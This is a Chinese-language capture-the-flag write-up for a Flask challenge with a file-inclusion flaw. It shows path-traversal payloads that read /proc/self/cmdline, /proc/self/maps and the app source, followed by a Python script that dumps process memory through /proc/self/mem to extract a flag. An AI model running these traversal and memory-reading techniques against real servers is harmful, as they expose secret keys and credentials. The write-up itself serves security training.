该题考察文件包含漏洞
正文
看到file参数,考虑文件读取
读取当前进程的命令行参数
?file=../../../../proc/self/cmdline
读取app.py:
b'import os\nimport uuid\nfrom flask import Flask, request, session, render_template, Markup\nfrom cat import cat\n\nflag = ""\napp = Flask(\n __name__,\n static_url_path=\'/\', \n static_folder=\'static\' \n)\napp.config[\'SECRET_KEY\'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"\nif os.path.isfile("/flag"):\n flag = cat("/flag")\n os.remove("/flag")\n\n@app.route(\'/\', methods=[\'GET\'])\ndef index():\n detailtxt = os.listdir(\'./details/\')\n cats_list = []\n for i in detailtxt:\n cats_list.append(i[:i.index(\'.\')])\n \n return render_template("index.html", cats_list=cats_list, cat=cat)\n\n\n\n@app.route(\'/info\', methods=["GET", \'POST\'])\ndef info():\n filename = "./details/" + request.args.get(\'file\', "")\n start = request.args.get(\'start\', "0")\n end = request.args.get(\'end\', "0")\n name = request.args.get(\'file\', "")[:request.args.get(\'file\', "").index(\'.\')]\n \n return render_template("detail.html", catname=name, info=cat(filename, start, end))\n \n\n\n@app.route(\'/admin\', methods=["GET"])\ndef admin_can_list_root():\n if session.get(\'admin\') == 1:\n return flag\n else:\n session[\'admin\'] = 0\n return "NoNoNo"\n\n\n\nif __name__ == \'__main__\':\n app.run(host=\'0.0.0.0\', debug=False, port=5637)'
格式化:
import os import uuid from flask import Flask, request, session, render_template, Markup from cat import cat # 初始化变量 flag = "" app = Flask( __name__, static_url_path='/', static_folder='static' ) # 设置 Flask 的密钥 app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh" # 检查是否存在标志文件,并读取标志内容 if os.path.isfile("/flag"): flag = cat("/flag") os.remove("/flag") # 主页路由 @app.route('/', methods=['GET']) def index(): # 获取 details 文件夹下的文件名列表 detailtxt = os.listdir('./details/') cats_list = [] for i in detailtxt: # 提取文件名中的猫名并添加到列表中 cats_list.append(i[:i.index('.')]) # 渲染主页模板,传递猫名列表和 cat 函数给模板 return render_template("index.html", cats_list=cats_list, cat=cat) # 详情页路由 @app.route('/info', methods=["GET", 'POST']) def info(): # 获取请求参数 filename = "./details/" + request.args.get('file', "") start = request.args.get('start', "0") end = request.args.get('end', "0") name = request.args.get('file', "")[:request.args.get('file', "").index('.')] # 渲染详情页模板,传递猫名、详情信息给模板 return render_template("detail.html", catname=name, info=cat(filename, start, end)) # 管理员权限路由 @app.route('/admin', methods=["GET"]) def admin_can_list_root(): # 检查是否具有管理员权限 if session.get('admin') == 1: return flag else: session['admin'] = 0 return "NoNoNo" # 启动 Flask 应用 if __name__ == '__main__': app.run(host='0.0.0.0', debug=False, port=5637)
关键在于:
if session.get('admin') == 1: return flag
也就是说当session为admin时,即可得到flag
所以我们需要伪造session为admin
而session伪造的必要条件是获取SECRET_KEY读取
读取/proc/self/maps获得当前应用运行的内存映射信息:
读取cat.py
格式化:
import os, sys, getopt # 定义一个函数,用于读取指定文件的部分内容 def cat(filename, start=0, end=0) -> bytes: data = b'' try: start = int(start) end = int(end) except: start = 0 end = 0 # 检查文件是否存在并可读 if filename != "" and os.access(filename, os.R_OK): f = open(filename, "rb") if start >= 0: f.seek(start) if end >= start and end != 0: data = f.read(end - start) else: data = f.read() f.close() else: data = ("File `%s` not exist or cannot be read" % filename).encode() return data if __name__ == '__main__': # 解析命令行参数 opts, args = getopt.getopt(sys.argv[1:], '-h-f:-s:-e:', ['help', 'file=', 'start=', 'end=']) fileName = "" start = 0 end = 0 for opt_name, opt_value in opts: if opt_name == '-h' or opt_name == '--help': # 打印帮助信息 print("[*] Help") print("-f --file File name") print("-s --start Start position") print("-e --end End position") print("[*] Example of reading /etc/passwd") print("python3 cat.py -f /etc/passwd") print("python3 cat.py --file /etc/passwd") print("python3 cat.py -f /etc/passwd -s 1") print("python3 cat.py -f /etc/passwd -e 5") print("python3 cat.py -f /etc/passwd -s 1 -e 5") exit() elif opt_name == '-f' or opt_name == '--file': # 获取文件名参数 fileName = opt_value elif opt_name == '-s' or opt_name == '--start': # 获取起始位置参数 start = opt_value elif opt_name == '-e' or opt_name == '--end': # 获取结束位置参数 end = opt_value if fileName != "": # 调用 cat 函数并打印结果 print(cat(fileName, start, end)) else: print("No file to read")
其中
if start >= 0: f.seek(start) if end >= start and end != 0: data = f.read(end-start)
用于读取start到end地址间的数据
我们已经读取了/proc/self/maps获得了应用运行的内存映射信息,接下来的思路就是:读取/proc/self/mem获得当前内存的详细信息,由于在app.py的info()方法从HTTP请求中接收了start和end参数,即可传参,从而读取任意文件中任意两个地址之间的数据,最后使用正则表达式匹配字符串\w+{\w+}
直接获取flag
脚本如下:
import requests import re baseUrl = "http://61.147.171.105:64383/info?file=../../../../.." if __name__ == "__main__": url = baseUrl + "/proc/self/maps" # 发送 HTTP 请求并获取响应文本,然后按换行符进行分割 memInfoList = requests.get(url).text.split("\\n") mem = "" for i in memInfoList: # 使用正则表达式匹配内存地址信息 memAddress = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i) if memAddress: # 将匹配到的内存地址转换为十六进制数 start = int(memAddress.group(1), 16) end = int(memAddress.group(2), 16) # 构造新的 URL,用于获取特定内存片段的内容 infoUrl = baseUrl + "/proc/self/mem&start=" + str(start) + "&end=" + str(end) # 发送 HTTP 请求并获取响应文本 mem = requests.get(infoUrl).text # 如果响应文本中包含形如 "{xxx}" 的字符串,则打印出来 if re.findall(r"{[\w]+}", mem): print(re.findall(r"\w+{\w+}", mem))
结果如下:
得到flag
catctf{Catch_the_c4t_HaHa}